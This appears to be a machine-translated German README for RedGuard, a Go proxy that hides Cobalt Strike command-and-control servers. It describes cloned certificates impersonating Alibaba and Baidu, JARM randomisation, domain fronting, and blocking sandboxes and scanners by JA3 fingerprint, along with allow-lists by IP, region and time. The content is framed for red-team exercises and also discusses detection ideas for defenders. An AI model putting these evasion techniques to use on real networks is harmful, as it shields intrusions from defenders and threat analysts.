RedGuard
RedGuard 24.06.18
Englisch | 中文文档
RedGuard, ein abgeleitetes Tool, das auf der Front-Flow-Control-Technologie „Command and Control“ (C2) basiert, verfügt über ein leichteres Design, eine effiziente Verkehrsinteraktion und eine zuverlässige Kompatibilität mit der Entwicklung in der Programmiersprache go. Da sich Cyberangriffe ständig weiterentwickeln, arbeiten das rote und blaue Team zusammen Während die Übungen immer komplexer werden, ist RedGuard darauf ausgelegt, dem roten Team eine bessere Lösung zum Verstecken des C2-Kanals zu bieten, die die Flusskontrolle für den C2-Kanal bereitstellt, den „böswilligen“ Analyseverkehr blockiert und die gesamte Angriffsaufgabe besser abschließt.
RedGuard ist ein C2-Front-Flow-Control-Tool, das die Erkennung durch Blue Team, AVS, EDR und Cyberspace Search Engine verhindern kann.
Sie können die kompilierte Version direkt herunterladen und verwenden oder das Go-Paket remote herunterladen, um es unabhängig zu kompilieren und auszuführen.
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
Wie in der Abbildung unten gezeigt, legen Sie die Berechtigungen für ausführbare Dateien fest und initialisieren Sie RedGuard. Beim ersten Durchlauf wird eine Konfigurationsdatei im aktuellen Benutzer-Home-Verzeichnis generiert, um eine flexible Funktionskonfiguration zu erreichen. Name der Konfigurationsdatei: .RedGuard_CobaltStrike.ini .
Inhalt der Konfigurationsdatei:
Die Konfigurationsoptionen von cert dienen hauptsächlich den Konfigurationsinformationen der mit SSL-Zertifikaten verschlüsselten HTTPS-Kommunikation zwischen dem Beispiel und der C2-Front-Infrastruktur. Der Proxy wird hauptsächlich zur Konfiguration der Steuerungsmöglichkeiten im Reverse-Proxy-Verkehr verwendet. Die konkrete Verwendung wird im Folgenden im Detail erläutert.
Die mit dem SSL-Zertifikat verschlüsselte HTTPS-Kommunikation wird im Verzeichnis cert-rsa/ unter dem Verzeichnis generiert, in dem RedGuard ausgeführt wird. Sie können die Grundfunktionen des Tools starten und stoppen, indem Sie die Konfigurationsdatei ändern (die Seriennummer des Zertifikats wird anhand des Zeitstempels generiert, Sie müssen sich keine Sorgen über die Zuordnung zu dieser Funktion machen) . Wenn Sie Ihr eigenes Zertifikat verwenden möchten ,Benennen Sie sie einfach in ca.crt und ca.key um.
openssl x509 -in ca.crt -noout -text
Zufällige TLS-JARM-Fingerabdrücke werden bei jedem Start von RedGuard aktualisiert, um zu verhindern, dass diese zur Authentifizierung der C2-Infrastruktur verwendet werden.
Wenn Sie Ihr eigenes Zertifikat verwenden, ändern Sie den Parameter HasCert in der Konfigurationsdatei auf true um normale Kommunikationsprobleme zu vermeiden, die durch die Inkompatibilität der CipherSuites-Verschlüsselungssuite mit dem benutzerdefinierten Zertifikat aufgrund der JARM-Verschleierungs-Randomisierung verursacht werden.
# Whether to use the certificate you have applied for true/false
HasCert = falseWenn Sie ein Domänen-Fronting bereitstellen, um C2-Verkehr zu verbergen, verfügt der beschleunigte Domänenname standardmäßig nicht über HTTPS-Zertifikatinformationen. Dies ist offensichtlich problematisch, daher müssen Sie beim Konfigurieren des Domänennamens auf die Konfiguration des Zertifikats achten. Dies ist auch die Standardgrundlage für die Bestimmung, ob es sich bei der Stichprobe um Domain-Front-End-Verkehr handelt.
[^Tencent Cloud]: Konfiguration des Content Delivery Network-Zertifikats
Ich glaube, dass jeder nach dem Lesen folgende Fragen haben wird: Wie erhalte ich das konfigurierte Zertifikat? Wenn Sie einen eigenen Antrag für das Zertifikat verwenden, wird dieser nicht den von uns erwarteten Anonymitätseffekt erzielen. Hier können Sie das geklonte Zertifikat zur Konfiguration verwenden. Am Beispiel von Tencent Cloud wurde im Test festgestellt, dass die Gültigkeit des individuell hochgeladenen Zertifikats nicht überprüft werden konnte. Wir können dasselbe Zertifikat wie die tatsächliche Site des beschleunigten Domainnamens verwenden, um ihn zu fälschen. Obwohl das gefälschte Zertifikat beim Ersetzen des Standardzertifikats von CS unter normalen Umständen nicht kommunizieren kann, wird die Gültigkeit nicht überprüft, wenn es auf dem Cloud-Dienstanbieter CDN Full Site Acceleration und RedGuard bereitgestellt wird, und der interaktive C2-Verkehr kann normal kommunizieren.
Das Folgende ist die vorhandene Projektadresse auf Github
https://github.com/virusdefender/copy-certObwohl das Zertifikat auf der Front-End-Verkehrsseite der Beispieldomäne aufgelöst wurde, ist unser C2-Server aus Sicht einer groß angelegten Netzwerkzuordnung immer noch der Außenwelt ausgesetzt und kann weiterhin erkannt und dem echten C2-Server zugeordnet werden . Zu diesem Zeitpunkt kann RedGuard verwendet werden, um das Fronting-Standardzertifikat von C2 zu ändern, um Anonymität zu erreichen.
[^Geheimdienstinformationen]: TLS-Zertifikate
Das Obige ist die Auswirkung des gefälschten Zertifikats des C2-Servers. Es ist ersichtlich, dass es glaubwürdig ist und in den Erkenntnissen der Threatbook-Community nicht abgelaufen ist. Der Hauptweg, um das digitale Zertifikat zu erhalten, besteht darin, es während der Probenanalyse in der Cloud-Sandbox in Echtzeit zu extrahieren und zu aktualisieren, aber es wird offensichtlich nicht effektiv überprüft. Der Statuswert überprüft nur die Ablaufzeit. Die Überprüfung der Zertifikatsvertrauenswürdigkeit sollte nur darauf basieren, ob eine normale Kommunikation erreicht werden kann.
Es ist zu beachten, dass Threatbook Intelligence die SNI- und HOST-Adressen von Beispielanfragen nicht mit Zertifikatsinformationen markiert. Dies dient eigentlich dazu, Fehlalarme zu verhindern. Ich denke, das ist richtig. Als wichtige Grundlage für die Unterstützung von Forschern bei der Analyse ist es besser, Bedrohungsinformationen unvollständig zu sein, als in die falsche Richtung zu weisen, was zu Fehleinschätzungen bei der nachfolgenden Analyse führt. Wenn die Konfiguration von Zertifikaten für die vollständige Standortbeschleunigung darin besteht, Zertifikate für den Kommunikationsverkehr zu fälschen, dann besteht die Konfiguration des Pre-Response-Zertifikats von RedGuard C2 darin, die Verhaltensmerkmale des echten C2-Servers zu fälschen, der im öffentlichen Netzwerk bereitgestellt wird, um Anti-Mapping-Effekte zu erzielen ist sehr notwendig.
Extrahieren Sie die Seriennummer des Zertifikats: 55e6acaed1f8a430f9a938c5 und führen Sie eine HEX-Codierung durch, um den Fingerabdruck des TLS-Zertifikats zu erhalten: 26585094245224241434632730821
| IP | Hafen | Protokoll | Service | Land | Stadt | Titel | Zeit |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | Apache httpd | China | Suzhou | 百度图片-发现多彩世界 | 28.08.2023 |
| 223.113.xx.207 | 443 | https | JSP3 | China | Xuzhou | 403 Verboten | 28.08.2023 |
| 223.112.xx.48 | 443 | https | JSP3 | China | Xuzhou | 403 Verboten | 28.08.2023 |
| 223.113.xx.40 | 443 | https | JSP3 | China | Xuzhou | 403 Verboten | 28.08.2023 |
| 223.113.xx.31 | 443 | https | JSP3 | China | 405 Nicht zulässig | 28.08.2023 | |
| 223.113.xx.206 | 443 | https | JSP3 | China | Xuzhou | 403 Verboten | 28.08.2023 |
Suchergebnismenge: 2291
Durch Cyberspace-Mapping wurden 2.291 unabhängige IP-Adressen entdeckt und die Überprüfung bestätigte, dass sie alle über TLS-Zertifikate von Baidu verfügten. Es ist schwierig, allein anhand des Kommunikationsverkehrs festzustellen, ob es sich um böswillige Kommunikation handelt. Allerdings wurden die TLS-Zertifikate für die Domänen-Front-End- und C2-Front-End-Verkehrseinrichtungen gefälscht, wodurch die Raumzuordnung und Bedrohungsinformationen erfolgreich beeinträchtigt wurden, was zu falschen Informationszuordnungen führte, wodurch die Verkehrseigenschaften des Angreifers realistischer wurden und der Zweck der Fälschung normal wurde Kommunikationsverkehr.
Auch wenn vor der C2-Verkehrs-Frontend-Funktion keine versteckte Weiterleitungsverarbeitung erfolgt, ist es am besten, das Zertifikat für RedGuard zu ändern. Standardmäßig verwendet jede Fingerabdruckbibliothek, die durch die Fingerabdruckidentifizierung gemeinsamer Komponenten erstellt wird, die derzeit in der Cyberspace-Kartierung verwendet werden, das Verhalten der Standardkonfigurationsmerkmale gemeinsamer Komponenten zur Identifizierung. Verschiedene Gruppen können während dieser Anpassungsprozesse unterschiedliche einzigartige Merkmale aufweisen. Natürlich erfordert die Bildung von Fingerabdrücken ein gewisses Verständnis der Zielkomponente, um die Standardeigenschaften des Ziels zu extrahieren und einen zugehörigen Fingerabdruck zu bilden. Dabei werden die Verhaltensmerkmale des RG-Zertifikats für die Cyberspace-Zuordnung genutzt, die mit einer großen Anzahl von RG-Knoten im öffentlichen Netzwerk verknüpft ist.
Es ist nicht verwunderlich, dass der Autor den Fingerabdruck extrahieren konnte, aber es wird dennoch empfohlen, dass RedGuard-Benutzer die Standardzertifikatinformationen ändern und ein professioneller Hacker sind :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS: Sie können den Parameterbefehl verwenden, um die Konfigurationsdatei zu ändern. Natürlich denke ich, dass es bequemer sein könnte, es manuell mit vim zu ändern.
Wenn Sie direkt auf den Port des Reverse-Proxys zugreifen, wird die Abfangregel ausgelöst. Hier können Sie das Stammverzeichnis der Client-Anfrage über das Ausgabeprotokoll sehen. Da die Anfrage jedoch nicht die angeforderten Anmeldeinformationen enthält, die der korrekte HOST-Anfrageheader sind, wird die grundlegende Abhörregel ausgelöst und der Datenverkehr wird zu https:/ umgeleitet. /360.net
Hier ist nur eine Demonstration der Ausgabe. Die tatsächliche Verwendung kann im Hintergrund über nohup ./RedGuard & ausgeführt werden.
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }Aus dem obigen Abschnitt ist nicht schwer zu erkennen, dass 360.net als Proxy an den lokalen Port 8080 und 360.com als Proxy an den lokalen Port 4433 weitergeleitet wird und dass auch das verwendete HTTP-Protokoll unterschiedlich ist. Bei der tatsächlichen Verwendung muss auf den Protokolltyp des Listeners geachtet werden. Stimmen Sie mit den Einstellungen hier überein und legen Sie den entsprechenden HOST-Anforderungsheader fest.
Wie in der Abbildung oben gezeigt, sind die Antwortinformationen, die wir im Falle eines unbefugten Zugriffs erhalten, auch die Rückgabeinformationen der umgeleiteten Site.
Im oben genannten grundlegenden Fall des Abfangens wird die Standard-Abfangmethode verwendet, und der illegale Datenverkehr wird durch Umleitung abgefangen. Durch Ändern der Konfigurationsdatei können wir die Abfangmethode und die umgeleitete Site-URL ändern. Anstatt dies als Weiterleitung zu bezeichnen, halte ich es für angemessener, es als Hijacking, Klonen zu beschreiben, da der zurückgegebene Antwortstatuscode 200 ist und die Antwort von einer anderen Website erhalten wird, um die geklonte/gekaperte Website nachzuahmen so nah wie möglich.
Ungültige Pakete können nach drei Strategien falsch weitergeleitet werden:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirect = URL in der Konfigurationsdatei verweist auf die gekaperte URL-Adresse. RedGuard unterstützt „Hot Change“, was bedeutet, dass wir die Konfigurationsdatei dennoch ändern können, während das Tool über nohup im Hintergrund läuft. Der Inhalt wird in Echtzeit gestartet und gestoppt.
./RedGuard -u --drop true Beachten Sie, dass beim Ändern der Konfigurationsdatei über die Befehlszeile die Option -u nicht fehlen darf, da die Konfigurationsdatei sonst nicht erfolgreich geändert werden kann. Wenn Sie die Standardeinstellungen der Konfigurationsdatei wiederherstellen müssen, müssen Sie nur ./RedGuard -u eingeben.
Eine weitere Abfangmethode ist DROP, die die HTTP-Kommunikationsantwort direkt schließt und durch die Einstellung DROP = true aktiviert wird. Der spezifische Abfangeffekt ist wie folgt:
Es ist ersichtlich, dass die Front-Flow-Steuerung von C2 direkt auf illegale Anfragen reagiert, ohne den HTTP-Antwortcode. Bei der Erkennung von Cyberspace-Mapping kann die DROP-Methode das Öffnen von Ports verbergen. Der konkrete Effekt ist im folgenden Fall zu erkennen. analysieren.
Ich glaube, dass viele Benutzer daran interessiert sein werden , die Antwort zu übernehmen . Das allgemeine Prinzip besteht darin, dass, wenn der Client eine Anfrage an den echten C2-Server initiiert, der C2-Server die angegebene normale Site abruft und seine Antwortinformationen zurückgibt, da er die Eingangsregeln nicht erfüllt. Von der Seite der Effektanforderung aus scheint es daher, dass er mit dem IP-Dienst interagiert. Tatsächlich wird der zwischengeschaltete C2-Server jedoch als Proxyserver für die Interaktion mit der normalen Site verwendet, und es ist schwierig, Anomalien zu finden. Wenn die eingehende Anforderung erfüllt wird, wird die Verkehrsanforderung zur Interaktion an den echten C2-Dienst-Abhörport weitergeleitet. Der tatsächliche Abhörport wurde von der Cloud-Firewall gefiltert, sodass nur lokaler Zugriff möglich ist und von außen kein direkter Zugriff möglich ist . Aus Sicht der externen Portöffnung ist also nur der HTTP/S-Port offen, und in gewisser Weise ist dies tatsächlich der Online-Port von C2.
[^Verkehrsflussdiagramm]: Interaktionsprozess des C2-Serververkehrs
In den Cyberspace-Mapping-Daten ist der HTTP/S-Open-Port-Antwortcode der IP 200 und kein 307-Sprung, was authentischer ist.
Das HTTPS-Zertifikat hat die gleiche Wirkung wie das oben erwähnte gefälschte Zertifikat, und beide sind Fingerabdrücke echter Zertifikate.
Ich glaube, dass viele rote Teams bei der Bekämpfung von Projekten in großem Umfang Verschleierungsmethoden wie Cloud-Funktionen/Domain-Fronting einsetzen werden. In der heutigen offensiven und defensiven Konfrontation weisen die beiden oben genannten Verschleierungsmethoden jedoch ein schwerwiegendes Problem auf, nämlich dass sie eine direkte Verbindung zum C2-Dienst herstellen können. Das Ergebnis ist zweifellos, dass wir, wenn wir die Cloud-Funktionsadresse oder die interaktive IP/HOST der Domänenfront erfassen, direkt auf den C2-Abhördienst zugreifen und nachweisen können, dass es sich um eine Angriffsmöglichkeit handelt.
Da der Datenverkehr C2 direkt erreichen kann, lohnt es sich zu überlegen, ob das Sicherheitsgerät einen CS-Scan für den Datenverkehr durchführen kann, der nicht mit SNI und HOST übereinstimmt, um festzustellen, ob es sich um böswilligen Datenverkehr handelt. Gleiches gilt für Cloud-Funktionen oder Sandbox-Umgebungen. Zusätzlich zur Beispielseite kann es auch weitere Analyseprozesse auf Verkehrsebene geben.
Nach der Hijacking-Antwort kann der direkte Zugriff auf den HTTP-Dienst normal mit der Website interagieren, Cscan kann die Beispielinformationen jedoch nicht scannen, da der Datenverkehr den echten C2-Listener nicht erreichen kann. Eine normale C2-Interaktion ist nur möglich, wenn die Merkmale der Verkehrsinitiierung erfüllt sind. Es gibt jedoch ein Problem. Das C2-Scan-Skript muss den eingehenden Regeln entsprechen, was die Codierungsfähigkeiten der Blue-Team-Analysten auf eine gewisse Probe stellt. Das derzeit öffentliche Scan-Skript hat die Form Nmap.
JA3 bietet einen besser erkennbaren Fingerabdruck für verschlüsselte Kommunikation zwischen Clients und Servern. Es verwendet TLS-Fingerabdrücke, um TLS-Verhandlungen zwischen böswilligen Clients und Servern zu identifizieren und so den Effekt der Zuordnung böswilliger Clients zu erzielen. Dieser Fingerabdruck lässt sich auf jeder Plattform mit MD5-Verschlüsselung einfach generieren und wird derzeit häufig in der Bedrohungsanalyse eingesetzt. Beispielsweise kann es in Beispielanalyseberichten einiger Sandboxes eingesehen werden, um die Korrelation zwischen verschiedenen Proben zu beweisen.
Wenn wir die JA3(S) des C2-Servers und des böswilligen Clients beherrschen, können wir die TLS-Aushandlung zwischen dem böswilligen Client und auch dann identifizieren, wenn der Datenverkehr verschlüsselt ist und die IP-Adresse oder der Domänenname des C2-Servers unbekannt ist den Server durch TLS-Fingerprinting. Ich glaube, dass jeder darüber nachdenken kann, nachdem er dies gesehen hat. Dies ist auch eine Maßnahme zum Umgang mit Methoden zur Verschleierung der Datenverkehrsweiterleitung wie Domain-Fronting, Reverse-Proxy und Cloud-Funktion. Durch die Sandbox-Ausführung werden Musteridentifikation und C2-Kommunikation über TLS ausgehandelt und JA3(S)-Fingerabdrücke generiert, die auf Bedrohungsinformationen angewendet werden können, um eine zusätzliche Nachverfolgung zu erreichen.
Ich habe diese Technologie im Jahr 2022 angekündigt. Beim Testen der Micro-Step-Sandbox-Umgebung stellte ich fest, dass die Anzahl der Egress-IPs, die eine Interaktion anforderten, zwar gering war, die Sandbox jedoch nicht anhand der IP identifiziert werden konnte, und diese Funktion ließ sich leicht ändern , aber sein JA3-Fingerabdruck war in derselben Systemumgebung eindeutig. Später erhielt ich die Rückmeldung, dass die Sandbox die Fingerabdruck-Randomisierung abgeschlossen hatte, aber aktuelle Tests haben ergeben, dass sie noch nicht vollständig implementiert wurde. Ich hoffe immer noch, dass ich dem Problem der Fingerabdrücke auf der Verkehrsseite begegnen werde.
Aus Sicht der Cloud-Sandbox wird durch Überwachung der Verkehrsinteraktion zwischen dem Beispiel und dem C2-Server der JA3(S)-Fingerabdruck generiert, um den böswilligen Client zu identifizieren und so eine Zuordnung herzustellen. Umgekehrt können wir als Verkehrskontrolleinrichtung vor C2 auch solche Vorgänge ausführen, um den JA3-Fingerabdruck der Clientanforderung zu erhalten. Durch das Debuggen verschiedener Sandbox-Umgebungen werden diese JA3-Fingerabdrücke erhalten, um eine Fingerabdruckbibliothek zu bilden und so eine grundlegende Abfangstrategie zu bilden.
Stellen Sie sich vor, dass der Loader im Prozess der inszenierten Trojaner-Interaktion zunächst den Shellcode der Remote-Adresse abruft. Wenn der Datenverkehr dann erkennt, dass die Anfrage die Cloud-Sandbox-Merkmale der JA3-Fingerabdruckbibliothek erfüllt, werden die nachfolgenden Anfragen abgefangen. Wenn der Shellcode nicht abgerufen werden kann, kann der gesamte Ladevorgang nicht abgeschlossen werden und die Sandbox kann ihn natürlich nicht vollständig analysieren. Wenn es sich bei der Umgebung um einen Stageless-Trojaner handelt, kann die Sandbox-Analyse auch nicht endgültig auf den C2-Server hochgeladen werden. Ich glaube, jeder ist aus dem Schlaf aufgewacht und hat viele alte Sandbox-Aufzeichnungen gefunden, die am C2 hängen. Natürlich können wir im Idealfall verschiedene Sandbox-Umgebungen identifizieren, was hauptsächlich von der Zuverlässigkeit der Fingerabdruckbibliothek abhängt.
Während des Tests stellte ich fest, dass nach dem Hinzufügen des JA3-Fingerabdrucks der ZoomEye GO-Sprachanforderungsbibliothek zur Fingerabdruckbibliothek und der Überwachung des RG-Anforderungsverkehrs die meisten Anforderungen das grundlegende Abfangen der JA3-Fingerabdruckbibliotheksfunktion auslösten. Hier vermute ich, dass die zugrunde liegende Sprache des Vermessungs- und Kartierungsprodukts Teil der in der GO-Sprache implementierten Scanaufgabe ist. Über eine Verknüpfung schloss die aus verschiedenen zugrunde liegenden Sprachen bestehende Scan-Logik schließlich die gesamte Scan-Aufgabe ab. Dies erklärt auch, warum das Scannen einiger Vermessungs- und Kartierungsprodukte die JA3-Funktion zum Abfangen von Fingerabdrücken der GO-Sprachanforderungsbibliothek auslöste. Das Prinzip der Erkennungsregel ist das gleiche wie beim Cloud-Sandbox-Fingerabdruck. Beide nutzen die Einzigartigkeit der Anforderungsclientumgebung und der Anforderungsbibliothek. Im Gegensatz zur PC-Seite wird die Anforderungsumgebung dieser Produkte grundsätzlich nicht nach Belieben geändert, sodass wir auch den Fingerabdruck der Verkehrsseite erfassen und abfangen können . Daher können wir darüber nachdenken, ob das Sicherheitsgerät den JA3-Fingerabdruck der aktiven Erkennung verwenden kann Verkehr als Grundlage für das Abfangen? Wenn der Geschäftsverkehr groß ist, kann es natürlich zu einer gewissen Anzahl von Fehlalarmen kommen. Hier schlagen wir nur theoretisch realisierbare Produktanforderungen vor.
PS-Benutzer können auch Muster in die Sandbox hochladen, um ihre JA3-Fingerabdrücke zu erhalten, zu überprüfen und sie der Fingerabdruckbibliothek hinzuzufügen. Es ist zu beachten, dass es sinnlos ist, wenn die Sandbox nur den JA3-Fingerabdruck in den oben genannten Fingerabdruck ändert. Was wirklich gelöst werden muss, ist, dass es sich bei jeder dynamischen Analyse durch die Sandbox nicht um denselben Fingerabdruck handelt und dass die Änderungen die Anforderungen erfüllen müssen, um möglichst viele Wiederholungen zu vermeiden. Bei hoher Wiederholungsrate wird es trotzdem als Fingerabdruck verwendet.
Unterstützt derzeit die Identifizierung und das Abfangen der Threatbook-Cloud-Sandbox als Effektdemonstration
Durch die Konfiguration der folgenden beiden Parameter in der Konfigurationsdatei wird der Effekt einer Änderung des Reverse-Proxy-Ports realisiert. Es wird empfohlen, das Standard-Port-Verstecken zu verwenden, solange es nicht zu Konflikten mit dem aktuellen Server-Port kommt. Wenn es geändert werden muss, achten Sie darauf, dass das : des Parameterwerts nicht fehlt
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
Port_HTTP = :80Das Blue-Team-Tracing-Verhalten wird anhand des Abfangprotokolls der Zielanfrage analysiert, das zur Verfolgung von Peer-Verbindungsereignissen/-problemen verwendet werden kann. Die Protokolldatei wird in dem Verzeichnis generiert, in dem RedGuard ausgeführt wird, Dateiname: RedGuard.log .
In diesem Abschnitt wird beschrieben, wie Sie RG konfigurieren, um die echte IP-Adresse einer Anfrage zu erhalten. Sie müssen lediglich die folgende Konfiguration zum Profil des C2-Geräts hinzufügen. Die tatsächliche IP-Adresse des Ziels wird über den Anforderungsheader X-Forwarded-For abgerufen.
http-config {
set trust_x_forwarded_for " true " ;
} Die Konfigurationsmethode verwendet als Beispiel AllowLocation = Jinan, Beijing . Beachten Sie, dass RedGuard zwei APIs für die umgekehrte IP-Zuordnung bereitstellt, eine für Benutzer auf dem chinesischen Festland und eine für Benutzer außerhalb des chinesischen Festlandes, und dynamisch zuweisen kann, welche API entsprechend dem eingegebenen geografischen Domänennamen verwendet werden soll, wenn das Ziel China ist Dann Verwenden Sie Chinesisch für die festgelegte Region, andernfalls verwenden Sie englische Ortsnamen. Benutzern auf dem chinesischen Festland wird empfohlen, chinesische Namen zu verwenden, damit die Genauigkeit der Zuordnung und die Antwortgeschwindigkeit der durch umgekehrte Abfrage erhaltenen API die beste Wahl sind.
PS: Benutzer vom chinesischen Festland verwenden bitte nicht AllowLocation = Jinan,beijing auf diese Weise! Es macht wenig Sinn, das erste Zeichen des Parameterwerts bestimmt, welche API verwendet werden soll!
# IP address owning restrictions example:AllowLocation = 山东，上海，杭州 or shanghai,beijing
AllowLocation = * 
Bevor Sie sich entscheiden, die Region einzuschränken, können Sie die IP-Adresse mit dem folgenden Befehl manuell abfragen.
./RedGuard --ip 111.14.218.206
./RedGuard --ip 111.14.218.206 --location shandong # Use overseas API to queryHier haben wir festgelegt, dass nur die Region Shandong online gehen darf
Rechtsverkehr:
Bereich für illegale Anfragen:
Im Hinblick auf die Zusammenhänge geografischer Beschränkungen könnte dies bei der aktuellen Offensiv- und Defensivübung praktischer sein. Grundsätzlich liegen die Ziele der provinziellen und kommunalen Angriffs- und Verteidigungsübungsbeschränkungen in ausgewiesenen Gebieten, und der von anderen Gebieten geforderte Verkehr kann natürlich ignoriert werden. Diese Funktion von RedGuard kann nicht nur eine einzelne Region, sondern auch mehrere Verbindungsregionen nach Provinzen und Städten einschränken und den von anderen Regionen angeforderten Datenverkehr abfangen.
Zusätzlich zur integrierten IP-Blacklist von Cybersicherheitsanbietern in RedGuard können wir auch nach der Whitelist-Methode einschränken. Tatsächlich schlage ich auch vor, dass wir während der Webpenetration die Online-IP-Adressen gemäß der Whitelist einschränken können, um mehrere IP-Adressen aufzuteilen.
# Whitelist list example: AllowIP = 172.16.1.1,192.168.1.1
AllowIP = 127.0.0.1
Wie in der Abbildung oben gezeigt, beschränken wir uns darauf, nur 127.0.0.1-Verbindungen zuzulassen, dann wird der Anforderungsverkehr anderer IPs blockiert.
Diese Funktion ist interessanter. Das Setzen der folgenden Parameterwerte in der Konfigurationsdatei bedeutet, dass die Verkehrskontrolleinrichtung nur von 8:00 bis 21:00 Uhr eine Verbindung herstellen kann. Das spezifische Anwendungsszenario besteht hier darin, dass wir während der angegebenen Angriffszeit die Kommunikation mit C2 zulassen und zu anderen Zeiten stumm bleiben. Dies ermöglicht es den roten Teams auch, gut zu schlafen, ohne sich Sorgen machen zu müssen, dass irgendein blaues Team, das nachts Dienst hat, sich langweilt, Ihren Trojaner zu analysieren, und dann mit etwas Unbeschreiblichem aufwacht, hahaha.
# Limit the time of requests example: AllowTime = 8:00 - 16:00
AllowTime = 8:00 - 21：00
RedGuard verwendet das Malleable C2-Profil. Es analysiert den bereitgestellten erweiterbaren Konfigurationsdateiabschnitt, um den Vertrag zu verstehen und nur die eingehenden Anforderungen weiterzuleiten, die ihn erfüllen, während andere Anforderungen irregeführt werden. Teile wie http-stager , http-get und http-post und ihre entsprechenden URIS, Header, User-Agent usw. werden verwendet, um legale Beacon-Anfragen von irrelevantem Internetrauschen oder IR/AV/EDR-Out-of-Bounds-Paketen zu unterscheiden.
# C2 Malleable File Path
MalleableFile = /root/cobaltstrike/Malleable.profile
Es wird empfohlen, das von 风起 verfasste Profil zu verwenden:
https://github.com/wikiZ/CobaltStrike-Malleable-Profile
In Cobalt Strike 4.7+ entfernt Teamserver automatisch und ohne Benachrichtigung den Content-Encoding-Header, was möglicherweise zu einer veränderbaren http-(get|post).server-Verletzung führt. Wenn die CS-Server-Antwortnachricht keinen Inhaltstyp enthält, dieser jedoch nach der Weiterleitung durch RedGuard zum Header der Antwortnachricht hinzugefügt wird, führt dies dazu, dass cf die Seite zwischenspeichert und Störungen verursacht.
Nach RedGuard 23.08.21 wurde die Funktion zum Anpassen des Headers des Antwortpakets hinzugefügt. Benutzer können die Header-Informationen im Antwortpaket anpassen und löschen, indem sie die Konfigurationsdatei ändern, um das Problem einer falschen Analyse zu lösen.
# Customize the header to be deleted example: Keep-Alive,Transfer-Encoding
DelHeader = Keep-Alive,Transfer-EncodingRedGuard 23.05.13 hat die Funktion zur Erkennung von Trojanern-Fingerabdrücken aktualisiert, die auf der Anpassung des HTTP-Header-Felds des Malleable-Profils als Fingerabdruck-„ Beispielsalzwert “ zur eindeutigen Identifizierung desselben C2-Listeners /Header-Hosts basiert. Darüber hinaus kann der Trojaner-Beispielfingerabdruck, der durch die Kombination anderer relevanter Anforderungsfelder generiert wird, verwendet werden, um die Lebendigkeit des benutzerdefinierten Beispiels zu erkennen. Je nach den Aufgabenanforderungen des Angreifers kann die Funktion zur Erkennung von Fingerabdrücken von Trojanern einen „ Offline-Vorgang “ für die Proben durchführen, die Sie deaktivieren möchten, um die böswillige Datenverkehrsanalyse der Beispielkommunikation und die Analyse der Nutzlasterfassung des gestaffelten PAYLOAD-Angriffs besser zu umgehen und mehr bereitzustellen personalisierte Stealth-Maßnahmen für den Angreifer.
Für verschiedene C2-Listener können wir den Malleable Profile-Konfigurationen unterschiedliche Aliase zuweisen, die Feldnamen und Werte verwandter Header als Beispiel-Salt-Wert anpassen und ihn als eine der Unterscheidungen zwischen verschiedenen Beispielen verwenden. Der folgende Code dient der Veranschaulichung. In tatsächlichen Angriffs- und Verteidigungsszenarien können wir realistischere HTTP-Anforderungspaketfelder als Grundlage für die Beurteilung verwenden.
http-get " listen2 " {
set uri " /image.gif " ;
client {
header " Accept-Finger " " 866e5289337ab033f89bc57c5274c7ca " ; //Custom HTTP Header and Value
metadata {
print
}
}
}HTTP-Verkehr
Wie in der Abbildung gezeigt, verwenden wir den obigen Beispiel-Salt-Wert und das Host-Feld als Grundlage für die Fingerabdruckgenerierung. Hier wissen wir:
Durch Zusammenfügen der oben genannten Werte wird der Probenfingerabdruck wie folgt erhalten:
22e6db08c5ef1889d64103a290ac145cNachdem wir nun den obigen Beispiel-Fingerabdruck kennen, können wir das benutzerdefinierte Header-Feld und den Beispiel-Fingerabdruck in der RedGuard-Konfigurationsdatei festlegen, um böswilligen Datenverkehr abzufangen. Es ist erwähnenswert, dass wir mehrere durch Kommas getrennte Beispielfingerabdrücke erweitern können und der FieldName mit dem im Malleable Profile konfigurierten Header-Feldnamen übereinstimmen muss
Da es sich bei der Konfigurationsdatei von RedGuard um eine Hot-Konfiguration handelt, müssen wir RedGuard nicht neu starten, um die Samples abzufangen, die wir deaktivieren möchten. Wenn wir möchten, dass das Sample reaktiviert wird, müssen wir lediglich den entsprechenden Sample-Fingerabdruck aus der RedGuard-Konfigurationsdatei löschen.
Demonstrationseffekt:
Wenn bei der oben genannten Methode ein Problem auftritt, kann der tatsächliche Online-C2-Server nicht direkt von der Firewall abgefangen werden, da die eigentliche Lastausgleichsanforderung im Reverse-Proxy von der IP des Cloud-Server-Herstellers gestellt wird.
Im Einzelkampf können wir Abfangregeln für die Cloud-Server-Firewall festlegen.
Legen Sie dann die Adresse, auf die der Proxy verweist, auf https://127.0.0.1:4433 fest.
